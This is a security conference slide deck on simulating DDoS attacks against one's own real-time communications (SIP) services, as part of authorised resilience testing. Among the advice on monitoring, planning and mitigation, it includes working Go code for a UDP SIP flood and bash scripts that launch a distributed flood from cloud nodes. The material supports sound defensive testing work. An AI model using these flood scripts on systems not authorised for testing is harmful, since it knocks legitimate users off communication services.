TADSummit 2022 -
How to bring your own
RTC platform down
Running DDoS simulations on your own
Sandro Gauci
2022-11-08
Introduction
What is this about?
provide a quick walk-through of performing DDoS attacks
speci c to RTC services
not complete but should help you get started
Distributed Denial of Service: distributed attacks that block
legitimate usage of your service
What makes me quali ed to
talk about this?
author of SIPVicious OSS - security testing toolset for SIP
in Infosec / Cyber security since > 20 years
last 14 years doing offensive security and leading Enable Security
What we do
we focus on RTC security testing
various cyber-security services
we do DDoS simulation for our clients
Why would you do such
a thing?
Pinky and the Brain, pondering why
obviously, to have some dangerous fun!
Serious answers only
to nd out how your critical services are going to react to a DDoS
attack
What if we got attacked?
the purpose is to create a system that can reasonably withstand
most DDoS attacks
What if we have some form
of protection mechanism?
most organisations operating in RTC have security solutions
or use technology that is known to be robust
often a hybrid approach, some things are better protected than
others
security protection is often implemented but rarely properly tested
until you test, you should not make any assumptions
because …
what often happens is that service providers nd out that they
don’t work during an actual attack
this is not ideal!
What if we’re trying to
evaluate an anti-DDoS
solution?
how well does it work?
comparing two or more solutions
which one works better given your situation?
Our experience
almost all DoS protection mechanisms fail at some point
maybe network tra c bursts are not handled well
maybe slow attacks lead to bypass but still trigger DoS
maybe the security solution looks for particular patterns which can
be bypassed
every organisation has limitations
bandwidth
system resources
application bugs / e ciency
the point is to understand if your current protection-level is
su cient against real life attacks
Part of Threat modelling
what are your most critical services?
how are they exposed to DDoS attacks?
what do we need to do to protect against these attacks?
once you have understood Why, you should move
on to What and How
Preparing for
destruction!
Decide on what your want to
attack and how
bandwidth saturation
generic protocol attacks
speci c app attacks
Bandwidth or generic
protocol attacks
often require generic or simple tools
e.g. targeting APIs or SIP servers ( ooding with GET or REGISTER
messages)
Attacking speci c
application functionality
needs some homework
Initial tests to determine which parts should be attacked
Look for:
errors, especially if generated during fuzzing
slow responses
increase in memory consumption (even a slight increase)
potential exhaustion of resources
Attack tools
for bandwidth saturation and generic protocol attacks, standard or
simple tools are enough
attack tools need to be more e cient than the target application
normally, they generate tra c - replaying messages
func flood() {
payload := "OPTIONS sip:demo.sipvicious.pro SIP/2.0rn" +
"Content-Length: 0rnrn"
b := make([]byte, 1024)
for {
c, err := net.Dial("udp", "demo.sipvicious.pro:5060")
if err != nil { log.Fatal(err) }
go func() { // Read loop
for { c.Read(b) }
}()
go func() { // Write loop
for { c.Write([]byte(payload)) }
}()
}
}
func main() {
flood()
}
func flood() {
payload := "OPTIONS sip:demo.sipvicious.pro SIP/2.0rn" +
"Content-Length: 0rnrn"
b := make([]byte, 1024)
for {
c, err := net.Dial("udp", "demo.sipvicious.pro:5060")
if err != nil { log.Fatal(err) }
go func() { // Read loop
for { c.Read(b) }
}()
go func() { // Write loop
for { c.Write([]byte(payload)) }
}()
}
}
func main() {
for i:=0;i<100;i++ { go flood() }
select{}
}
Useful features for such
tools
rate limiting
concurrency (e.g. connection count)
You need control tools
distribute the attack tools (e.g. use Terraform)
ability to start the attack
and stop the attack
#!/bin/bash
IPS=$(linode-cli linodes list --format ipv4 --json | jq -r '[.[][][]] | join(" ")')
for ip in $IPS;
do
ssh root@${ip} sipvicious sip dos flood udp://demo.sipvicious.pro:5060 &
done
#!/bin/bash
IPS=$(linode-cli linodes list --format ipv4 --json | jq -r '[.[][][]] | join(" ")')
for ip in $IPS;
do
ssh root@${ip} killall sipvicious &
done
The killswitch
emphasis on stopping the attack
if attacker machine is no longer reachable but still attacking
may lead to a real security incident!
#!/bin/bash
IDS=$(linode-cli linodes list --format id --json | jq -r '[.[][]] | join(" ")')
for id in $IDS;
do
linode-cli linodes shutdown ${id}
done
You need attack nodes
these are systems from where to launch your distributed attacks
Options
VPS: easy to get started and distributing attacks at low price
VMs: very useful for internal tests in lab environment
Bare metal servers: great for attacks that consume
bandwidth/require decent resources but more expensive
Caution when using third-
parties
you will want to make sure that the activity is allowed
that you are not affecting other customers
especially watch out for bandwidth saturation
Monitor your bandwidth
usage
even if not testing for bandwidth saturation
might give a false positives (incorrect results)
see our blog post: Why volumetric DDoS cripples VoIP providers
and what we see during pentesting
Monitor your bandwidth
usage
at the target
at the attack nodes
Monitor your application
and system resources
having the ability to switch pro ling on is very useful
ability to debug
Don’t forget the people!
the engineers who need to be involved/monitor systems: they
need to be booked
testing on live systems usually means doing tests during off-peak
hours
Finally
the test environment: you need a place to test
make sure it is as close to production as possible
sometimes, it is production
One more thing
i love it when a plan comes together
gure out what tests to do
start with the simpler tests rst
you will encounter problems that should be solved before moving
to more complex tests
Fun time!
a beverage
Start monitoring
bandwidth
application
system resources
dependencies (e.g. databases)
External monitoring
use a pinger
simulates legitimate tra c periodically (e.g. every 1s)
will indicate major problems but will miss more subtle issues
Demo time
we show our Attack Platform that we use to do such tests
Target server - a Kamailio/Asterisk server
Have 3 parts in this demo
Target server
Monitoring system sending SIP ping
Attack platform client (controlling the attacker nodes)
0:00 / 0:53
Next
when things break, you should get noti ed through monitoring
stop and assess: real work starts here
some of it might be done during the exercise, some later
understanding root cause
Best practices
1. Automate as much as possible (capturing of monitoring results,
bandwidth stats)
2. Have a real-time communication channel with the engineers
(e.g. Google Meet)
3. Work with the engineers not against them - collaborate don’t
compete
4. Test your tests ahead of time! don’t do your own QA during the test
5. Document every step done and the results (can be semi-
automated); otherwise you might forget what actually happened
. Set a xed scope + timeframe; know your limits (we stick to 2hrs,
very tiring)
What happens after the
fact
accept the risk?
really, it depends on your ndings
generally: root cause analysis
might have started already during the actual exercise
might need further exploration, dedicated time and effort
Once the root cause for
each nding is determined
solutions or mitigation techniques need to be discussed
jumping to solutions without proper assessment undermines the
whole effort
solutions need to be:
practical and make economic sense
not introduce new problems that prevent legitimate usage
actually address the problems that were identi ed
implemented
Examples of solutions
outdated logging library caused locks - updating that library (but
dependency hell)
changes in application con guration
rate limiting solutions
application code changes (result of pro ling and debugging)
Caveat
real solutions rarely consist of buying more
resources
Finally - documentation &
retest
update your documentation to include details about the solutions
test the solution again
does it work? where does it fail?
feedback loop
Moving forward
towards a more robust
RTC
by doing your own DDoS simulations, you learn about your system
no longer should have to guess if you will handle a real attack
as an RTC provider, you have a duty to keep your RTC <real(-time)=
One more thing
Security is often a cat and mouse game
No security solution is perfect, incidence response is critical
How will we handle the next time we get DDoSed?
This is the end
Thanks!
Alan Quayle
My colleague, Alfred Farrugia for the demos
Our clients for allowing us to cause trouble on their applications
and networks
Get in touch & References
Email:
Enable Security:
sandro@enablesecurity.com
https://www.enablesecurity.com
Communication Breakdown blog @ rtcsec.com
Subscribe to the RTCSec Newsletter

More Related Content

PDF
The worst of enemies – let’s talk about DDoS and RTC, Sandro Gauci
PDF
[cb22] Keynote: Underwhelmed: Making Sense of the Overwhelming Challenge of C...
PDF
Are you ready for the next attack? reviewing the sp security checklist (apnic...
PDF
Are you ready for the next attack? Reviewing the SP Security Checklist
PDF
RIoT (Raiding Internet of Things) by Jacob Holcomb
PPTX
How To Start Your InfoSec Career
PPTX
Attack Prevention Solution for RADWARE
PDF
Sscp Systems Security Certified Practitioner Allinone Exam Guide Third Editio...
The worst of enemies – let’s talk about DDoS and RTC, Sandro Gauci
[cb22] Keynote: Underwhelmed: Making Sense of the Overwhelming Challenge of C...
Are you ready for the next attack? reviewing the sp security checklist (apnic...
Are you ready for the next attack? Reviewing the SP Security Checklist
RIoT (Raiding Internet of Things) by Jacob Holcomb
How To Start Your InfoSec Career
Attack Prevention Solution for RADWARE
Sscp Systems Security Certified Practitioner Allinone Exam Guide Third Editio...

Similar to TADSummit 2022 - How to bring your own RTC platform down (20)

PPTX
DoS Attack - Incident Handling
PPTX
Software Security and IDS.pptx
PDF
Aujas incident management webinar deck 08162016
PPT
Denial of services : limiting the threat
PDF
N. Oskina, G. Asproni - Be your own Threatbuster! - Codemotion Milan 2018
PDF
Are you ready for the next attack? Reviewing the SP Security Checklist
PPTX
Threat Modeling: Applied on a Publish-Subscribe Architectural Style
PPTX
Dncybersecurity
PDF
Network Security - Luxury or Must Have?
PDF
Securing the Future Safeguarding 5G Networks with Advanced Security Solutions...
PDF
Protecting Your Text Messages: SecurityGen's SMS Fraud Detection Solutions
PDF
Elevate Safety with Security Gen: Unraveling the Power of Signaling Security
PDF
SecurityGen's Pioneering Approach to 5G Security Services
PDF
Cisco Connect 2018 Thailand - Telco service provider network analytics
PDF
Cisco Connect 2018 Thailand - Security automation and programmability mr. kho...
PPTX
FUEL_USERS_GROUP
PDF
Security Operation Center : Le Centre des Opérations de Sécurité est une div...
PPT
Cloud Computing & Security
PPTX
BKNIX Peering Forum 2017 : DDoS Attack Trend and Defense Strategy
PDF
Security Checkpoints in Agile SDLC
DoS Attack - Incident Handling
Software Security and IDS.pptx
Aujas incident management webinar deck 08162016
Denial of services : limiting the threat
N. Oskina, G. Asproni - Be your own Threatbuster! - Codemotion Milan 2018
Are you ready for the next attack? Reviewing the SP Security Checklist
Threat Modeling: Applied on a Publish-Subscribe Architectural Style
Dncybersecurity
Network Security - Luxury or Must Have?
Securing the Future Safeguarding 5G Networks with Advanced Security Solutions...
Protecting Your Text Messages: SecurityGen's SMS Fraud Detection Solutions
Elevate Safety with Security Gen: Unraveling the Power of Signaling Security
SecurityGen's Pioneering Approach to 5G Security Services
Cisco Connect 2018 Thailand - Telco service provider network analytics
Cisco Connect 2018 Thailand - Security automation and programmability mr. kho...
FUEL_USERS_GROUP
Security Operation Center : Le Centre des Opérations de Sécurité est une div...
Cloud Computing & Security
BKNIX Peering Forum 2017 : DDoS Attack Trend and Defense Strategy
Security Checkpoints in Agile SDLC

More from Sandro Gauci (9)

PDF
CommCon 2023 - WebRTC & Video Delivery application security - what could poss...
PDF
The OpenSIPS security audit - OpenSIPS Summit - Sandro Gauci
PDF
Tools for offensive RTC Security: introducing SIPVicious PRO and the demo server
PDF
Bounty bout 0x01 - WebRTC edition
PDF
The various ways your RTC may be crushed
PDF
A tale of two RTC fuzzing approaches
PDF
Web Application Firewalls Detection, Bypassing And Exploitation
PDF
Scanning The Intertubes For Voip
PDF
Troopers09: The Truth about Web Application Firewalls: What the vendors do NO...
CommCon 2023 - WebRTC & Video Delivery application security - what could poss...
The OpenSIPS security audit - OpenSIPS Summit - Sandro Gauci
Tools for offensive RTC Security: introducing SIPVicious PRO and the demo server
Bounty bout 0x01 - WebRTC edition
The various ways your RTC may be crushed
A tale of two RTC fuzzing approaches
Web Application Firewalls Detection, Bypassing And Exploitation
Scanning The Intertubes For Voip
Troopers09: The Truth about Web Application Firewalls: What the vendors do NO...

Recently uploaded (20)

PPTX
The various Industrial Revolutions .pptx
PDF
sbt 2.0: go big (Scala Days 2025 edition)
PDF
A Late Bloomer's Guide to GenAI: Ethics, Bias, and Effective Prompting - Boha...
PPTX
Custom Battery Pack Design Considerations for Performance and Safety
PDF
UiPath Agentic Automation session 1: RPA to Agents
PDF
From MVP to Full-Scale Product A Startup’s Software Journey.pdf
DOCX
search engine optimization ppt fir known well about this
PPTX
2018-HIPAA-Renewal-Training for executives
PPTX
Chapter 5: Probability Theory and Statistics
PDF
A review of recent deep learning applications in wood surface defect identifi...
PPTX
MicrosoftCybserSecurityReferenceArchitecture-April-2025.pptx
PDF
Developing a website for English-speaking practice to English as a foreign la...
PDF
STKI Israel Market Study 2025 version august
PDF
Taming the Chaos: How to Turn Unstructured Data into Decisions
PDF
Consumable AI The What, Why & How for Small Teams.pdf
PPTX
Final SEM Unit 1 for mit wpu at pune .pptx
PDF
Hindi spoken digit analysis for native and non-native speakers
PDF
Flame analysis and combustion estimation using large language and vision assi...
PPT
Module 1.ppt Iot fundamentals and Architecture
PPTX
Benefits of Physical activity for teenagers.pptx
The various Industrial Revolutions .pptx
sbt 2.0: go big (Scala Days 2025 edition)
A Late Bloomer's Guide to GenAI: Ethics, Bias, and Effective Prompting - Boha...
Custom Battery Pack Design Considerations for Performance and Safety
UiPath Agentic Automation session 1: RPA to Agents
From MVP to Full-Scale Product A Startup’s Software Journey.pdf
search engine optimization ppt fir known well about this
2018-HIPAA-Renewal-Training for executives
Chapter 5: Probability Theory and Statistics
A review of recent deep learning applications in wood surface defect identifi...
MicrosoftCybserSecurityReferenceArchitecture-April-2025.pptx
Developing a website for English-speaking practice to English as a foreign la...
STKI Israel Market Study 2025 version august
Taming the Chaos: How to Turn Unstructured Data into Decisions
Consumable AI The What, Why & How for Small Teams.pdf
Final SEM Unit 1 for mit wpu at pune .pptx
Hindi spoken digit analysis for native and non-native speakers
Flame analysis and combustion estimation using large language and vision assi...
Module 1.ppt Iot fundamentals and Architecture
Benefits of Physical activity for teenagers.pptx

TADSummit 2022 - How to bring your own RTC platform down

  • 1. TADSummit 2022 - How to bring your own RTC platform down Running DDoS simulations on your own Sandro Gauci 2022-11-08
  • 3. What is this about? provide a quick walk-through of performing DDoS attacks speci c to RTC services not complete but should help you get started Distributed Denial of Service: distributed attacks that block legitimate usage of your service
  • 4. What makes me quali ed to talk about this? author of SIPVicious OSS - security testing toolset for SIP in Infosec / Cyber security since > 20 years last 14 years doing offensive security and leading Enable Security
  • 5. What we do we focus on RTC security testing various cyber-security services we do DDoS simulation for our clients
  • 6. Why would you do such a thing?
  • 7. Pinky and the Brain, pondering why
  • 8. obviously, to have some dangerous fun!
  • 9. Serious answers only to nd out how your critical services are going to react to a DDoS attack What if we got attacked? the purpose is to create a system that can reasonably withstand most DDoS attacks
  • 10. What if we have some form of protection mechanism? most organisations operating in RTC have security solutions or use technology that is known to be robust often a hybrid approach, some things are better protected than others
  • 11. security protection is often implemented but rarely properly tested until you test, you should not make any assumptions because …
  • 12. what often happens is that service providers nd out that they don’t work during an actual attack this is not ideal!
  • 13. What if we’re trying to evaluate an anti-DDoS solution? how well does it work? comparing two or more solutions which one works better given your situation?
  • 14. Our experience almost all DoS protection mechanisms fail at some point maybe network tra c bursts are not handled well maybe slow attacks lead to bypass but still trigger DoS maybe the security solution looks for particular patterns which can be bypassed
  • 15. every organisation has limitations bandwidth system resources application bugs / e ciency the point is to understand if your current protection-level is su cient against real life attacks
  • 16. Part of Threat modelling what are your most critical services? how are they exposed to DDoS attacks? what do we need to do to protect against these attacks?
  • 17. once you have understood Why, you should move on to What and How
  • 19. Decide on what your want to attack and how bandwidth saturation generic protocol attacks speci c app attacks
  • 20. Bandwidth or generic protocol attacks often require generic or simple tools e.g. targeting APIs or SIP servers ( ooding with GET or REGISTER messages)
  • 21. Attacking speci c application functionality needs some homework Initial tests to determine which parts should be attacked Look for: errors, especially if generated during fuzzing slow responses increase in memory consumption (even a slight increase) potential exhaustion of resources
  • 22. Attack tools for bandwidth saturation and generic protocol attacks, standard or simple tools are enough attack tools need to be more e cient than the target application normally, they generate tra c - replaying messages
  • 23. func flood() { payload := "OPTIONS sip:demo.sipvicious.pro SIP/2.0rn" + "Content-Length: 0rnrn" b := make([]byte, 1024) for { c, err := net.Dial("udp", "demo.sipvicious.pro:5060") if err != nil { log.Fatal(err) } go func() { // Read loop for { c.Read(b) } }() go func() { // Write loop for { c.Write([]byte(payload)) } }() } } func main() { flood() }
  • 24. func flood() { payload := "OPTIONS sip:demo.sipvicious.pro SIP/2.0rn" + "Content-Length: 0rnrn" b := make([]byte, 1024) for { c, err := net.Dial("udp", "demo.sipvicious.pro:5060") if err != nil { log.Fatal(err) } go func() { // Read loop for { c.Read(b) } }() go func() { // Write loop for { c.Write([]byte(payload)) } }() } } func main() { for i:=0;i<100;i++ { go flood() } select{} }
  • 25. Useful features for such tools rate limiting concurrency (e.g. connection count)
  • 26. You need control tools distribute the attack tools (e.g. use Terraform) ability to start the attack and stop the attack
  • 27. #!/bin/bash IPS=$(linode-cli linodes list --format ipv4 --json | jq -r '[.[][][]] | join(" ")') for ip in $IPS; do ssh root@${ip} sipvicious sip dos flood udp://demo.sipvicious.pro:5060 & done
  • 28. #!/bin/bash IPS=$(linode-cli linodes list --format ipv4 --json | jq -r '[.[][][]] | join(" ")') for ip in $IPS; do ssh root@${ip} killall sipvicious & done
  • 29. The killswitch emphasis on stopping the attack if attacker machine is no longer reachable but still attacking may lead to a real security incident!
  • 30. #!/bin/bash IDS=$(linode-cli linodes list --format id --json | jq -r '[.[][]] | join(" ")') for id in $IDS; do linode-cli linodes shutdown ${id} done
  • 31. You need attack nodes these are systems from where to launch your distributed attacks
  • 32. Options VPS: easy to get started and distributing attacks at low price VMs: very useful for internal tests in lab environment Bare metal servers: great for attacks that consume bandwidth/require decent resources but more expensive
  • 33. Caution when using third- parties you will want to make sure that the activity is allowed that you are not affecting other customers especially watch out for bandwidth saturation
  • 34. Monitor your bandwidth usage even if not testing for bandwidth saturation might give a false positives (incorrect results) see our blog post: Why volumetric DDoS cripples VoIP providers and what we see during pentesting
  • 35. Monitor your bandwidth usage at the target at the attack nodes
  • 36. Monitor your application and system resources having the ability to switch pro ling on is very useful ability to debug
  • 37. Don’t forget the people! the engineers who need to be involved/monitor systems: they need to be booked testing on live systems usually means doing tests during off-peak hours
  • 38. Finally the test environment: you need a place to test make sure it is as close to production as possible sometimes, it is production
  • 40. i love it when a plan comes together
  • 41. gure out what tests to do start with the simpler tests rst you will encounter problems that should be solved before moving to more complex tests
  • 45. External monitoring use a pinger simulates legitimate tra c periodically (e.g. every 1s) will indicate major problems but will miss more subtle issues
  • 46. Demo time we show our Attack Platform that we use to do such tests Target server - a Kamailio/Asterisk server Have 3 parts in this demo Target server Monitoring system sending SIP ping Attack platform client (controlling the attacker nodes)
  • 48. Next when things break, you should get noti ed through monitoring stop and assess: real work starts here some of it might be done during the exercise, some later understanding root cause
  • 49. Best practices 1. Automate as much as possible (capturing of monitoring results, bandwidth stats) 2. Have a real-time communication channel with the engineers (e.g. Google Meet) 3. Work with the engineers not against them - collaborate don’t compete 4. Test your tests ahead of time! don’t do your own QA during the test 5. Document every step done and the results (can be semi- automated); otherwise you might forget what actually happened . Set a xed scope + timeframe; know your limits (we stick to 2hrs, very tiring)
  • 50. What happens after the fact
  • 52. really, it depends on your ndings generally: root cause analysis might have started already during the actual exercise might need further exploration, dedicated time and effort
  • 53. Once the root cause for each nding is determined solutions or mitigation techniques need to be discussed jumping to solutions without proper assessment undermines the whole effort solutions need to be: practical and make economic sense not introduce new problems that prevent legitimate usage actually address the problems that were identi ed implemented
  • 54. Examples of solutions outdated logging library caused locks - updating that library (but dependency hell) changes in application con guration rate limiting solutions application code changes (result of pro ling and debugging)
  • 55. Caveat real solutions rarely consist of buying more resources
  • 56. Finally - documentation & retest update your documentation to include details about the solutions test the solution again does it work? where does it fail? feedback loop
  • 57. Moving forward towards a more robust RTC
  • 58. by doing your own DDoS simulations, you learn about your system no longer should have to guess if you will handle a real attack as an RTC provider, you have a duty to keep your RTC <real(-time)=
  • 59. One more thing Security is often a cat and mouse game No security solution is perfect, incidence response is critical How will we handle the next time we get DDoSed?
  • 60. This is the end
  • 61. Thanks! Alan Quayle My colleague, Alfred Farrugia for the demos Our clients for allowing us to cause trouble on their applications and networks
  • 62. Get in touch & References Email: Enable Security: sandro@enablesecurity.com https://www.enablesecurity.com Communication Breakdown blog @ rtcsec.com Subscribe to the RTCSec Newsletter